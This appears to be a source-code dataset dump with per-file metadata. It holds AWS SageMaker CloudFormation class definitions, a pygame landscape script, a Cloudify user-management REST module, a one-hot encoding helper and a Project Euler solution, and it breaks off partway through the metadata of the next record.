PropsDictType = { "MaxConcurrentInvocationsPerInstance": (integer, False), } class AsyncInferenceNotificationConfig(AWSProperty): """ `AsyncInferenceNotificationConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-asyncinferencenotificationconfig.html>`__ """ props: PropsDictType = { "ErrorTopic": (str, False), "SuccessTopic": (str, False), } class AsyncInferenceOutputConfig(AWSProperty): """ `AsyncInferenceOutputConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-asyncinferenceoutputconfig.html>`__ """ props: PropsDictType = { "KmsKeyId": (str, False), "NotificationConfig": (AsyncInferenceNotificationConfig, False), "S3OutputPath": (str, True), } class AsyncInferenceConfig(AWSProperty): """ `AsyncInferenceConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-asyncinferenceconfig.html>`__ """ props: PropsDictType = { "ClientConfig": (AsyncInferenceClientConfig, False), "OutputConfig": (AsyncInferenceOutputConfig, True), } class CaptureContentTypeHeader(AWSProperty): """ `CaptureContentTypeHeader <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-datacaptureconfig-capturecontenttypeheader.html>`__ """ props: PropsDictType = { "CsvContentTypes": ([str], False), "JsonContentTypes": ([str], False), } class CaptureOption(AWSProperty): """ `CaptureOption <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-captureoption.html>`__ """ props: PropsDictType = { "CaptureMode": (str, True), } class DataCaptureConfig(AWSProperty): """ `DataCaptureConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-datacaptureconfig.html>`__ """ props: PropsDictType = { "CaptureContentTypeHeader": (CaptureContentTypeHeader, False), "CaptureOptions": ([CaptureOption], True), "DestinationS3Uri": (str, True), "EnableCapture": (boolean, False), "InitialSamplingPercentage": (integer, True), "KmsKeyId": (str, False), } class ServerlessConfig(AWSProperty): """ `ServerlessConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-productionvariant-serverlessconfig.html>`__ """ props: PropsDictType = { "MaxConcurrency": (integer, True), "MemorySizeInMB": (integer, True), } class ProductionVariant(AWSProperty): """ `ProductionVariant <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-productionvariant.html>`__ """ props: PropsDictType = { "AcceleratorType": (str, False), "InitialInstanceCount": (integer, False), "InitialVariantWeight": (double, True), "InstanceType": (str, False), "ModelName": (str, True), "ServerlessConfig": (ServerlessConfig, False), "VariantName": (str, True), } class EndpointConfig(AWSObject): """ `EndpointConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-endpointconfig.html>`__ """ resource_type = "AWS::SageMaker::EndpointConfig" props: PropsDictType = { "AsyncInferenceConfig": (AsyncInferenceConfig, False), "DataCaptureConfig": (DataCaptureConfig, False), "EndpointConfigName": (str, False), "KmsKeyId": (str, False), "ProductionVariants": ([ProductionVariant], True), "Tags": (Tags, False), } class FeatureDefinition(AWSProperty): """ `FeatureDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-featuregroup-featuredefinition.html>`__ """ props: PropsDictType = { "FeatureName": (str, True), "FeatureType": (str, True), } class FeatureGroup(AWSObject): """ `FeatureGroup <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-featuregroup.html>`__ """ resource_type = "AWS::SageMaker::FeatureGroup" props: PropsDictType = { "Description": (str, False), "EventTimeFeatureName": (str, True), "FeatureDefinitions": ([FeatureDefinition], True), "FeatureGroupName": (str, True), "OfflineStoreConfig": (dict, False), "OnlineStoreConfig": (dict, False), "RecordIdentifierFeatureName": (str, True), "RoleArn": (str, False), "Tags": (Tags, False), } class Image(AWSObject): """ `Image <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-image.html>`__ """ resource_type = "AWS::SageMaker::Image" props: PropsDictType = { "ImageDescription": (str, False), "ImageDisplayName": (str, False), "ImageName": (str, True), "ImageRoleArn": (str, True), "Tags": (Tags, False), } class ImageVersion(AWSObject): """ `ImageVersion <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-imageversion.html>`__ """ resource_type = "AWS::SageMaker::ImageVersion" props: PropsDictType = { "BaseImage": (str, True), "ImageName": (str, True), } class RepositoryAuthConfig(AWSProperty): """ `RepositoryAuthConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-model-containerdefinition-imageconfig-repositoryauthconfig.html>`__ """ props: PropsDictType = { "RepositoryCredentialsProviderArn": (str, True), } class ImageConfig(AWSProperty): """ `ImageConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-model-containerdefinition-imageconfig.html>`__ """ props: PropsDictType = { "RepositoryAccessMode": (str, True), "RepositoryAuthConfig": (RepositoryAuthConfig, False), } class MultiModelConfig(AWSProperty): """ `MultiModelConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-model-containerdefinition-multimodelconfig.html>`__ """ props: PropsDictType = { "ModelCacheSetting": (str, False), } class ContainerDefinition(AWSProperty): """ `ContainerDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-model-containerdefinition.html>`__ """ props: PropsDictType = { "ContainerHostname": (str, False), "Environment": (dict, False), "Image": (str, False), "ImageConfig": (ImageConfig, False), "InferenceSpecificationName": (str, False), "Mode": (str, False), "ModelDataUrl": (str, False), "ModelPackageName": (str, False), "MultiModelConfig": (MultiModelConfig, False), } class InferenceExecutionConfig(AWSProperty): """ `InferenceExecutionConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-model-inferenceexecutionconfig.html>`__ """ props: PropsDictType = { "Mode": (str, True), } class Model(AWSObject): """ `Model <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-model.html>`__ """ resource_type = "AWS::SageMaker::Model" props: PropsDictType = { "Containers": ([ContainerDefinition], False), "EnableNetworkIsolation": (boolean, False), "ExecutionRoleArn": (str, True), "InferenceExecutionConfig": (InferenceExecutionConfig, False), "ModelName": (str, False), "PrimaryContainer": (ContainerDefinition, False), "Tags": (Tags, False), "VpcConfig": (VpcConfig, False), } class ModelBiasAppSpecification(AWSProperty): """ `ModelBiasAppSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelbiasjobdefinition-modelbiasappspecification.html>`__ """ props: PropsDictType = { "ConfigUri": (str, True), "Environment": (dict, False), "ImageUri": (str, True), } class ModelBiasBaselineConfig(AWSProperty): """ `ModelBiasBaselineConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelbiasjobdefinition-modelbiasbaselineconfig.html>`__ """ props: PropsDictType = { "BaseliningJobName": (str, False), "ConstraintsResource": (ConstraintsResource, False), } class MonitoringGroundTruthS3Input(AWSProperty): """ `MonitoringGroundTruthS3Input <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelqualityjobdefinition-monitoringgroundtruths3input.html>`__ """ props: PropsDictType = { "S3Uri": (str, True), } class ModelBiasJobInput(AWSProperty): """ `ModelBiasJobInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelbiasjobdefinition-modelbiasjobinput.html>`__ """ props: PropsDictType = { "EndpointInput": (EndpointInput, True), "GroundTruthS3Input": (MonitoringGroundTruthS3Input, True), } class ModelBiasJobDefinition(AWSObject): """ `ModelBiasJobDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-modelbiasjobdefinition.html>`__ """ resource_type = "AWS::SageMaker::ModelBiasJobDefinition" props: PropsDictType = { "JobDefinitionName": (str, False), "JobResources": (MonitoringResources, True), "ModelBiasAppSpecification": (ModelBiasAppSpecification, True), "ModelBiasBaselineConfig": (ModelBiasBaselineConfig, False), "ModelBiasJobInput": (ModelBiasJobInput, True), "ModelBiasJobOutputConfig": (MonitoringOutputConfig, True), "NetworkConfig": (NetworkConfig, False), "RoleArn": (str, True), "StoppingCondition": (StoppingCondition, False), "Tags": (Tags, False), } class ModelExplainabilityAppSpecification(AWSProperty): """ `ModelExplainabilityAppSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelexplainabilityjobdefinition-modelexplainabilityappspecification.html>`__ """ props: PropsDictType = { "ConfigUri": (str, True), "Environment": (dict, False), "ImageUri": (str, True), } class ModelExplainabilityBaselineConfig(AWSProperty): """ `ModelExplainabilityBaselineConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelexplainabilityjobdefinition-modelexplainabilitybaselineconfig.html>`__ """ props: PropsDictType = { "BaseliningJobName": (str, False), "ConstraintsResource": (ConstraintsResource, False), } class ModelExplainabilityJobInput(AWSProperty): """ `ModelExplainabilityJobInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelexplainabilityjobdefinition-modelexplainabilityjobinput.html>`__ """ props: PropsDictType = { "EndpointInput": (EndpointInput, True), } class ModelExplainabilityJobDefinition(AWSObject): """ `ModelExplainabilityJobDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-modelexplainabilityjobdefinition.html>`__ """ resource_type = "AWS::SageMaker::ModelExplainabilityJobDefinition" props: PropsDictType = { "JobDefinitionName": (str, False), "JobResources": (MonitoringResources, True), "ModelExplainabilityAppSpecification": ( ModelExplainabilityAppSpecification, True, ), "ModelExplainabilityBaselineConfig": (ModelExplainabilityBaselineConfig, False), "ModelExplainabilityJobInput": (ModelExplainabilityJobInput, True), "ModelExplainabilityJobOutputConfig": (MonitoringOutputConfig, True), "NetworkConfig": (NetworkConfig, False), "RoleArn": (str, True), "StoppingCondition": (StoppingCondition, False), "Tags": (Tags, False), } class ModelPackageGroup(AWSObject): """ `ModelPackageGroup <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-modelpackagegroup.html>`__ """ resource_type = "AWS::SageMaker::ModelPackageGroup" props: PropsDictType = { "ModelPackageGroupDescription": (str, False), "ModelPackageGroupName": (str, True), "ModelPackageGroupPolicy": (dict, False), "Tags": (Tags, False), } class ModelQualityAppSpecification(AWSProperty): """ `ModelQualityAppSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelqualityjobdefinition-modelqualityappspecification.html>`__ """ props: PropsDictType = { "ContainerArguments": ([str], False), "ContainerEntrypoint": ([str], False), "Environment": (dict, False), "ImageUri": (str, True), "PostAnalyticsProcessorSourceUri": (str, False), "ProblemType": (str, True), "RecordPreprocessorSourceUri": (str, False), } class ModelQualityBaselineConfig(AWSProperty): """ `ModelQualityBaselineConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelqualityjobdefinition-modelqualitybaselineconfig.html>`__ """ props: PropsDictType = { "BaseliningJobName": (str, False), "ConstraintsResource": (ConstraintsResource, False), } class ModelQualityJobInput(AWSProperty): """ `ModelQualityJobInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-modelqualityjobdefinition-modelqualityjobinput.html>`__ """ props: PropsDictType = { "EndpointInput": (EndpointInput, True), "GroundTruthS3Input": (MonitoringGroundTruthS3Input, True), } class ModelQualityJobDefinition(AWSObject): """ `ModelQualityJobDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-modelqualityjobdefinition.html>`__ """ resource_type = "AWS::SageMaker::ModelQualityJobDefinition" props: PropsDictType = { "JobDefinitionName": (str, False), "JobResources": (MonitoringResources, True), "ModelQualityAppSpecification": (ModelQualityAppSpecification, True), "ModelQualityBaselineConfig": (ModelQualityBaselineConfig, False), "ModelQualityJobInput": (ModelQualityJobInput, True), "ModelQualityJobOutputConfig": (MonitoringOutputConfig, True), "NetworkConfig": (NetworkConfig, False), "RoleArn": (str, True), "StoppingCondition": (StoppingCondition, False), "Tags": (Tags, False), } class MonitoringExecutionSummary(AWSProperty): """ `MonitoringExecutionSummary <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringexecutionsummary.html>`__ """ props: PropsDictType = { "CreationTime": (str, True), "EndpointName": (str, False), "FailureReason": (str, False), "LastModifiedTime": (str, True), "MonitoringExecutionStatus": (str, True), "MonitoringScheduleName": (str, True), "ProcessingJobArn": (str, False), "ScheduledTime": (str, True), } class BaselineConfig(AWSProperty): """ `BaselineConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-baselineconfig.html>`__ """ props: PropsDictType = { "ConstraintsResource": (ConstraintsResource, False), "StatisticsResource": (StatisticsResource, False), } class MonitoringAppSpecification(AWSProperty): """ `MonitoringAppSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringappspecification.html>`__ """ props: PropsDictType = { "ContainerArguments": ([str], False), "ContainerEntrypoint": ([str], False), "ImageUri": (str, True), "PostAnalyticsProcessorSourceUri": (str, False), "RecordPreprocessorSourceUri": (str, False), } class MonitoringInput(AWSProperty): """ `MonitoringInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringinput.html>`__ """ props: PropsDictType = { "EndpointInput": (EndpointInput, True), } class MonitoringJobDefinition(AWSProperty): """ `MonitoringJobDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringjobdefinition.html>`__ """ props: PropsDictType = { "BaselineConfig": (BaselineConfig, False), "Environment": (dict, False), "MonitoringAppSpecification": (MonitoringAppSpecification, True), "MonitoringInputs": ([MonitoringInput], True), "MonitoringOutputConfig": (MonitoringOutputConfig, True), "MonitoringResources": (MonitoringResources, True), "NetworkConfig": (NetworkConfig, False), "RoleArn": (str, True), "StoppingCondition": (StoppingCondition, False), } class ScheduleConfig(AWSProperty): """ `ScheduleConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-scheduleconfig.html>`__ """ props: PropsDictType = { "ScheduleExpression": (str, True), } class MonitoringScheduleConfig(AWSProperty): """ `MonitoringScheduleConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringscheduleconfig.html>`__ """ props: PropsDictType = { "MonitoringJobDefinition": (MonitoringJobDefinition, False), "MonitoringJobDefinitionName": (str, False), "MonitoringType": (str, False), "ScheduleConfig": (ScheduleConfig, False), } class MonitoringSchedule(AWSObject): """ `MonitoringSchedule <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-monitoringschedule.html>`__ """ resource_type = "AWS::SageMaker::MonitoringSchedule" props: PropsDictType = { "EndpointName": (str, False), "FailureReason": (str, False), "LastMonitoringExecutionSummary": (MonitoringExecutionSummary, False), "MonitoringScheduleConfig": (MonitoringScheduleConfig, True), "MonitoringScheduleName": (str, True), "MonitoringScheduleStatus": (str, False), "Tags": (Tags, False), } class NotebookInstance(AWSObject): """ `NotebookInstance <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-notebookinstance.html>`__ """ resource_type = "AWS::SageMaker::NotebookInstance" props: PropsDictType = { "AcceleratorTypes": ([str], False), "AdditionalCodeRepositories": ([str], False), "DefaultCodeRepository": (str, False), "DirectInternetAccess": (str, False), "InstanceType": (str, True), "KmsKeyId": (str, False), "LifecycleConfigName": (str, False), "NotebookInstanceName": (str, False), "PlatformIdentifier": (str, False), "RoleArn": (str, True), "RootAccess": (str, False), "SecurityGroupIds": ([str], False), "SubnetId": (str, False), "Tags": (Tags, False), "VolumeSizeInGB": (integer, False), } class NotebookInstanceLifecycleHook(AWSProperty): """ `NotebookInstanceLifecycleHook <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-notebookinstancelifecycleconfig-notebookinstancelifecyclehook.html>`__ """ props: PropsDictType = { "Content": (str, False), } class NotebookInstanceLifecycleConfig(AWSObject): """ `NotebookInstanceLifecycleConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-notebookinstancelifecycleconfig.html>`__ """ resource_type = "AWS::SageMaker::NotebookInstanceLifecycleConfig" props: PropsDictType = { "NotebookInstanceLifecycleConfigName": (str, False), "OnCreate": ([NotebookInstanceLifecycleHook], False), "OnStart": ([NotebookInstanceLifecycleHook], False), } class Pipeline(AWSObject): """ `Pipeline <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-pipeline.html>`__ """ resource_type = "AWS::SageMaker::Pipeline" props: PropsDictType = { "PipelineDefinition": (dict, True), "PipelineDescription": (str, False), "PipelineDisplayName": (str, False), "PipelineName": (str, True), "RoleArn": (str, True), "Tags": (Tags, False), } class Project(AWSObject): """ `Project <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-project.html>`__ """ resource_type = "AWS::SageMaker::Project" props: PropsDictType = { "ProjectDescription": (str, False), "ProjectName": (str, True), "ServiceCatalogProvisioningDetails": (dict, True), "Tags": (Tags, False), } class UserProfile(AWSObject): """ `UserProfile <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-userprofile.html>`__ """ resource_type = "AWS::SageMaker::UserProfile" props: PropsDictType = { "DomainId": (str, True), "SingleSignOnUserIdentifier": (str, False), "SingleSignOnUserValue": (str, False), "Tags": (Tags, False), "UserProfileName": (str, True), "UserSettings": (UserSettings, False), } class CognitoMemberDefinition(AWSProperty): """ `CognitoMemberDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-workteam-cognitomemberdefinition.html>`__ """ props: PropsDictType = { "CognitoClientId": (str, True), "CognitoUserGroup": (str, True), "CognitoUserPool": (str, True), } class MemberDefinition(AWSProperty): """ `MemberDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-workteam-memberdefinition.html>`__ """ props: PropsDictType = { "CognitoMemberDefinition": (CognitoMemberDefinition, True), } class NotificationConfiguration(AWSProperty): """ `NotificationConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-workteam-notificationconfiguration.html>`__ """ props: PropsDictType = { "NotificationTopicArn": (str, True), } class Workteam(AWSObject): """ `Workteam <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-workteam.html>`__ """ resource_type = "AWS::SageMaker::Workteam" props: PropsDictType = { "Description": (str, False), "MemberDefinitions": ([MemberDefinition], False), "NotificationConfiguration": (NotificationConfiguration, False), "Tags": (Tags, False), "WorkteamName": (str, False), }

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39,841

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0.328682

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null

0

1

0

null

0

1

4843692979b67bbb7eade27d08ade8ca10f18066

2,012

py

Python

magPi_05_mountains.py

oniMoNaku/thePit

f82d2dc70346e6188fca493a4b9373aa99ccfa32

[ "Unlicense" ]

null

magPi_05_mountains.py

oniMoNaku/thePit

f82d2dc70346e6188fca493a4b9373aa99ccfa32

[ "Unlicense" ]

null

magPi_05_mountains.py

oniMoNaku/thePit

f82d2dc70346e6188fca493a4b9373aa99ccfa32

[ "Unlicense" ]

null

# today is 389f # the python pit # magPi - 05 # MOUNTAINS import os, pygame; from pygame.locals import * pygame.init(); clock = pygame.time.Clock() os.environ['SDL_VIDEO_WINDOW_POS'] = 'center' pygame.display.set_caption("Mountains") screen=pygame.display.set_mode([600,382],0,32) sky = pygame.Surface((600,255)) r=0; g=64; b=128 for l in range (0,255): pygame.draw.rect(sky,(r,g,b),(0,l-1,600,l)) r=r+1;g=g+1;b=b+1 if r>=255: r=255 if g>=255: g=255 if b>=255: b=255 ground = pygame.Surface((600,128)) r=192; g=255; b=192 for l in range (0,128): pygame.draw.rect(ground,(r,g,b),(0,l-2,600,l)) r=r-2;g=g-2;b=b-2 if r<=0: r=0 if g<=0: g=0 if b<=0: b=0 # Add in an extra surface for the mountains mountain = pygame.Surface((600,128)) mountain.set_colorkey([0,0,0]) # Black is transparent r=96; g=64; b=255 for l in range (0,128): pygame.draw.rect(mountain,(r,g,b),(0,l-2,600,l)) r=r+2;g=g+2;b=b+2 if r>=255: r=255 if g>=255: g=255 if b>=255: b=255 # Draw some black (Transparent) polygons to create mountain peaks # The screen is 600 wide so I've drawn 10 polygons at 60 pixels wide each pygame.draw.polygon(mountain,[0,0,0],[(0,0),(60,0),(60,10),(0,40)]) pygame.draw.polygon(mountain,[0,0,0],[(60,0),(120,0),(120,30),(60,10)]) pygame.draw.polygon(mountain,[0,0,0],[(120,0),(180,0),(180,20),(120,30)]) pygame.draw.polygon(mountain,[0,0,0],[(180,0),(240,0),(240,50),(180,20)]) pygame.draw.polygon(mountain,[0,0,0],[(240,0),(300,0),(300,40),(240,50)]) pygame.draw.polygon(mountain,[0,0,0],[(300,0),(360,0),(360,10),(300,40)]) pygame.draw.polygon(mountain,[0,0,0],[(360,0),(420,0),(420,35),(360,10)]) pygame.draw.polygon(mountain,[0,0,0],[(420,0),(480,0),(480,45),(420,35)]) pygame.draw.polygon(mountain,[0,0,0],[(480,0),(540,0),(540,42),(480,45)]) pygame.draw.polygon(mountain,[0,0,0],[(540,0),(600,0),(600,15),(540,42)]) screen.blit(sky,(0,0)) screen.blit(ground,(0,255)) screen.blit(mountain,(0,128)) pygame.display.update() pygame.time.wait(30000)

34.101695

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416

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0.030516

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0.124413

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0.022222

0

null

0

1

0

null

0

1

4847f5739e2a2a4fe3f2279bc69fc734031f35e3

5,610

py

Python

rest-service/manager_rest/rest/resources_v3/users.py

TS-at-WS/cloudify-manager

3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc

[ "Apache-2.0" ]

null

rest-service/manager_rest/rest/resources_v3/users.py

TS-at-WS/cloudify-manager

3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc

[ "Apache-2.0" ]

null

rest-service/manager_rest/rest/resources_v3/users.py

TS-at-WS/cloudify-manager

3e062e8dec16c89d2ab180d0b761cbf76d3f7ddc

[ "Apache-2.0" ]

null

######### # Copyright (c) 2016 GigaSpaces Technologies Ltd. All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # * See the License for the specific language governing permissions and # * limitations under the License. from flask_security import current_user from manager_rest import constants from manager_rest.storage import models, user_datastore from manager_rest.security.authorization import authorize from manager_rest.security import (SecuredResource, MissingPremiumFeatureResource) from manager_rest.manager_exceptions import BadParametersError from .. import rest_decorators, rest_utils from ..responses_v3 import UserResponse try: from cloudify_premium.multi_tenancy.secured_tenant_resource \ import SecuredMultiTenancyResource except ImportError: SecuredMultiTenancyResource = MissingPremiumFeatureResource class User(SecuredResource): @authorize('user_get_self') @rest_decorators.marshal_with(UserResponse) def get(self): """ Get details for the current user """ return user_datastore.get_user(current_user.username) class Users(SecuredMultiTenancyResource): @authorize('user_list') @rest_decorators.marshal_with(UserResponse) @rest_decorators.create_filters(models.User) @rest_decorators.paginate @rest_decorators.sortable(models.User) @rest_decorators.search('username') def get(self, multi_tenancy, _include=None, filters=None, pagination=None, sort=None, search=None, **kwargs): """ List users """ return multi_tenancy.list_users( _include, filters, pagination, sort, search ) @authorize('user_create') @rest_decorators.marshal_with(UserResponse) @rest_decorators.no_external_authenticator('create user') def put(self, multi_tenancy): """ Create a user """ request_dict = rest_utils.get_json_and_verify_params( { 'username': { 'type': unicode, }, 'password': { 'type': unicode, }, 'role': { 'type': unicode, 'optional': True, }, } ) # The password shouldn't be validated here password = request_dict.pop('password') password = rest_utils.validate_and_decode_password(password) rest_utils.validate_inputs(request_dict) role = request_dict.get('role', constants.DEFAULT_SYSTEM_ROLE) rest_utils.verify_role(role, is_system_role=True) return multi_tenancy.create_user( request_dict['username'], password, role, ) class UsersId(SecuredMultiTenancyResource): @authorize('user_update') @rest_decorators.marshal_with(UserResponse) def post(self, username, multi_tenancy): """ Set password/role for a certain user """ request_dict = rest_utils.get_json_and_verify_params() password = request_dict.get('password') role_name = request_dict.get('role') if password: if role_name: raise BadParametersError('Both `password` and `role` provided') password = rest_utils.validate_and_decode_password(password) return multi_tenancy.set_user_password(username, password) elif role_name: rest_utils.verify_role(role_name, is_system_role=True) return multi_tenancy.set_user_role(username, role_name) else: raise BadParametersError('Neither `password` nor `role` provided') @authorize('user_get') @rest_decorators.marshal_with(UserResponse) def get(self, username, multi_tenancy): """ Get details for a single user """ rest_utils.validate_inputs({'username': username}) return multi_tenancy.get_user(username) @authorize('user_delete') @rest_decorators.marshal_with(UserResponse) @rest_decorators.no_external_authenticator('delete user') def delete(self, username, multi_tenancy): """ Delete a user """ rest_utils.validate_inputs({'username': username}) return multi_tenancy.delete_user(username) class UsersActive(SecuredMultiTenancyResource): @authorize('user_set_activated') @rest_decorators.marshal_with(UserResponse) def post(self, username, multi_tenancy): """ Activate a user """ request_dict = rest_utils.get_json_and_verify_params({'action'}) if request_dict['action'] == 'activate': return multi_tenancy.activate_user(username) else: return multi_tenancy.deactivate_user(username) class UsersUnlock(SecuredMultiTenancyResource): @authorize('user_unlock') @rest_decorators.marshal_with(UserResponse) def post(self, username, multi_tenancy): """ Unlock user account """ rest_utils.validate_inputs({'username': username}) return multi_tenancy.unlock_user(username)

34.207317

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0.659893

595

5,610

5.984874

0.287395

0.057287

0.045493

0.056164

0.305251

0.276327

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0.18843

0.172423

0

0.002149

0.253476

5,610

163

80

34.417178

0.848138

0.145633

0

0.198113

0

0.067815

0

1

0.075472

false

0.09434

0

0.311321

0

null

0

null

0

1

0

1

48514c4855c82f6511561bc091163063091c1e9c

664

py

Python

ptranking/ltr_adhoc/util/one_hot_utils.py

junj2ejj/ptranking.github.io

06fa9751dd2eca89749ba4bb9641e4272cfc30a1

[ "MIT" ]

1

2020-09-24T10:38:53.000Z

ptranking/ltr_adhoc/util/one_hot_utils.py

junj2ejj/ptranking.github.io

06fa9751dd2eca89749ba4bb9641e4272cfc30a1

[ "MIT" ]

null

ptranking/ltr_adhoc/util/one_hot_utils.py

junj2ejj/ptranking.github.io

06fa9751dd2eca89749ba4bb9641e4272cfc30a1

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """Description """ import torch from ptranking.ltr_global import global_gpu as gpu def get_one_hot_reprs(batch_stds): """ Get one-hot representation of batch ground-truth labels """ batch_size = batch_stds.size(0) hist_size = batch_stds.size(1) int_batch_stds = batch_stds.type(torch.cuda.LongTensor) if gpu else batch_stds.type(torch.LongTensor) hot_batch_stds = torch.cuda.FloatTensor(batch_size, hist_size, 3) if gpu else torch.FloatTensor(batch_size, hist_size, 3) hot_batch_stds.zero_() hot_batch_stds.scatter_(2, torch.unsqueeze(int_batch_stds, 2), 1) return hot_batch_stds

30.181818

125

0.74247

105

664

4.409524

0.428571

0.213823

0.103672

0.073434

0.12527

0

0.014109

0.146084

664

21

126

31.619048

0.802469

0.167169

0

1

0.1

false

0

0.2

0

0.4

0

null

1

0

null

0

1

485f7ffc14de09acdf65c094b7c9e15395d4ca1b

1,001

py

Python

problems/095.py

JoshKarpel/Euler

9c4a89cfe4b0114d84a82e2b2894c7b8af815e93

[ "MIT" ]

1

2017-09-20T22:26:24.000Z

problems/095.py

JoshKarpel/euler-python

9c4a89cfe4b0114d84a82e2b2894c7b8af815e93

[ "MIT" ]

null

problems/095.py

JoshKarpel/euler-python

9c4a89cfe4b0114d84a82e2b2894c7b8af815e93

[ "MIT" ]

null

from problems import utils, mymath @utils.memoize def sum_proper_factors(n): return sum(mymath.proper_factorization(n)) def solve(): upper_bound = 1000000 chains = dict() for start_number in range(1, upper_bound): chain = [start_number] current_number = sum_proper_factors(start_number) while current_number != start_number: if current_number > upper_bound or current_number == 0 or len(chain) > 100: break elif current_number in chains: chain += chains[current_number] break else: chain.append(current_number) current_number = sum_proper_factors(current_number) if current_number == start_number: chains[start_number] = chain chain_lengths = {i: len(chains[i]) for i in chains} max_key = mymath.key_of_max_value(chain_lengths) return min(chains[max_key]) if __name__ == '__main__': print(solve())

26.342105

87

0.632368

122

1,001

4.852459

0.385246

0.219595

0.081081

0.074324

0.118243

0

0.016807

0.286713

1,001

37

88

27.054054

0.812325

0

0.076923

0

0.007992

0

1

0.076923

false

0

0.038462

0.192308

0.038462

0

null

1

0

null

0

1

4868d79bbf2ff6bbae4f4cb4d9abf9fab912436f

724

py

Python

ansiblelater/rules/CheckScmInSrc.py

ankitdobhal/ansible-later

a107cd2821e310fd459a7f9b802d5794f2b96f35

[ "MIT" ]

38

2020-10-14T09:40:58.000Z

2022-03-17T10:45:22.000Z

ansiblelater/rules/CheckScmInSrc.py

ankitdobhal/ansible-later

a107cd2821e310fd459a7f9b802d5794f2b96f35

[ "MIT" ]

188

2020-09-29T09:43:54.000Z

